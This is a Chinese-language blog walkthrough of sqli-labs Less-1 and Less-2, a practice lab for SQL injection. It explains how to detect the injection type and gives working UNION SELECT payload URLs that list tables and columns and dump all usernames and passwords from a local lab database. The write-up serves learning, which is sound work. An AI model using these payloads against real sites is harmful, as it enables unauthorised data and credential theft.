sqlilabs闯关指北(随缘做随缘更)

web毕竟不是主业,龟速更新,萌新一头如有错误还望大佬们指出

Less-1

尝试 ?id=1 回显正常

接着尝试在 id 后面加上',发现页面回显不正常,表示可能存在字符注入

输入 --+ 将 sql 后面的语句注释掉后,发现页面回显正常,则证明这个地方是单引号字符型注入

接着使用 order by 判断该表中一共有几列数据。order by 3 页面回显正常,4 页面回显不正常,说明此表一共有 3 列

将 id=1 改为一个数据库不存在的 id 值,如 466,使用 union select 1,2,3 联合查询语句查看页面是否有显示位

发现页面先输出了 2 和 3,说明页面有 2 个显示位

然后利用 sql 查询语句依次爆破出数据库内的数据库名,表名,列名,字段信息

查询当前使用的数据库和基本信息
http://localhost/sqli-labs-master/Less-1/?id=466' union select 1,2,concat_ws(char(32,58,32),user(),database(),version()) --+
其中 concat_ws() 的第一个参数是连接字符串的分隔符,user()返回当前数据库连接使用的用户,database()返回当前数据库连接使用的数据库,version()返回当前数据库的版

在继续爆破前先明确以下知识点:

  • information_schema.tables: 包含了数据库里所有的表
  • table_name: 表名
  • table_schema: 数据库名
  • column_name: 字段名
查询数据库security的表
http://localhost/sqli-labs-master/Less-1/?id=466' union select 1,2,group_concat(table_name) from information_schema.tables where  table_schema=0x7365637572697479 --+

接着看users表的字段名
http://localhost/sqli-labs-master/Less-1/id=466' union select 1,2,group_concat(column_name)from information_schema.columns where table_name='users'--+

看到了 username 和 password 字段

然后去查询字段信息
http://localhost/sqli-labs-master/Less-1/id=466' union select 1,2,group_concat(0x5c,username,0x3a,password) from users--+

获得了所有的账号和密码,本题到此结束

Less-2

首先判断注入类型,尝试 ?id=1 回显正常,在 id 后加 ' 报错,则考虑可能存在单引号字符型注入或数字型注入

接着尝试添加 and 1=1,语句正常执行,回显正常

接着尝试 and 1=2,语句可以正常执行不报错,但是无法查询出结果,所以返回数据与原始网页存在差异,可以确定类型为数字型注入

和 less1 一样思路首先使用 order by 判断该表中一共有几列数据,发现有 3 列

再利用 union select 1,2,3 联合查询语句确认占位信息

然后剩下的都和第一关一样,找库名,表名,列名,字段信息等

找库名

找表名

找字段名

查询字段信息

都跟上一题一个样的

posted @ 2021-07-22 13:21  Moominn  阅读(72)  评论(0编辑  收藏  举报